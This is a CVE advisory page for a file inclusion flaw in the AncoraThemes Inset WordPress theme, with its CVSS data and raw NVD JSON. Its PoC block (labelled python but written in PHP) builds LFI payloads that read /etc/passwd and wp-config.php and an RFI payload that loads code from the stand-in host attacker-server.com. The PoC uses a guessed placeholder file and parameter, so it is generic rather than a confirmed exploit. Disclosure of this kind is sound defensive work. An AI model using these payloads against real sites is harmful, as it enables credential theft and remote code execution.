Security Vulnerability Report
中文
CVE-2025-6326 CVSS 8.1 HIGH

CVE-2025-6326

Published: 2025-12-18 08:16:17
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Inset inset allows PHP Local File Inclusion.This issue affects Inset: from n/a through <= 1.18.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

AncoraThemes Inset <= 1.18.0
AncoraThemes Inset 从 n/a 到 1.18.0 的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-6326 PoC - AncoraThemes Inset LFI/RFI Exploit * Target: AncoraThemes Inset WordPress Theme <= 1.18.0 * Type: Remote File Inclusion / Local File Inclusion */ // PoC 1: Local File Inclusion - Read sensitive files $target_url = 'http://target-site.com/wp-content/themes/inset/some-file.php'; $lfi_payload = '../../../../../../../../etc/passwd'; $exploit_url = $target_url . '?file=' . urlencode($lfi_payload); echo "[*] Testing LFI vulnerability...\n"; echo "[*] Target: " . $exploit_url . "\n"; // PoC 2: Remote File Inclusion - Execute remote code $remote_payload = 'http://attacker-server.com/malicious.php'; $rfi_exploit_url = $target_url . '?file=' . urlencode($remote_payload); echo "[*] Testing RFI vulnerability...\n"; echo "[*] Target: " . $rfi_exploit_url . "\n"; // PoC 3: Automated exploitation with curl // curl -s 'http://target.com/wp-content/themes/inset/some-file.php?file=../../../../../../wp-config.php' // Recommended remediation: // 1. Implement whitelist-based file inclusion // 2. Sanitize and validate all user inputs // 3. Disable allow_url_include in php.ini // 4. Update to patched version immediately ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6326", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:16.947", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Inset inset allows PHP Local File Inclusion.This issue affects Inset: from n/a through <= 1.18.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/inset/vulnerability/wordpress-inset-1-18-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}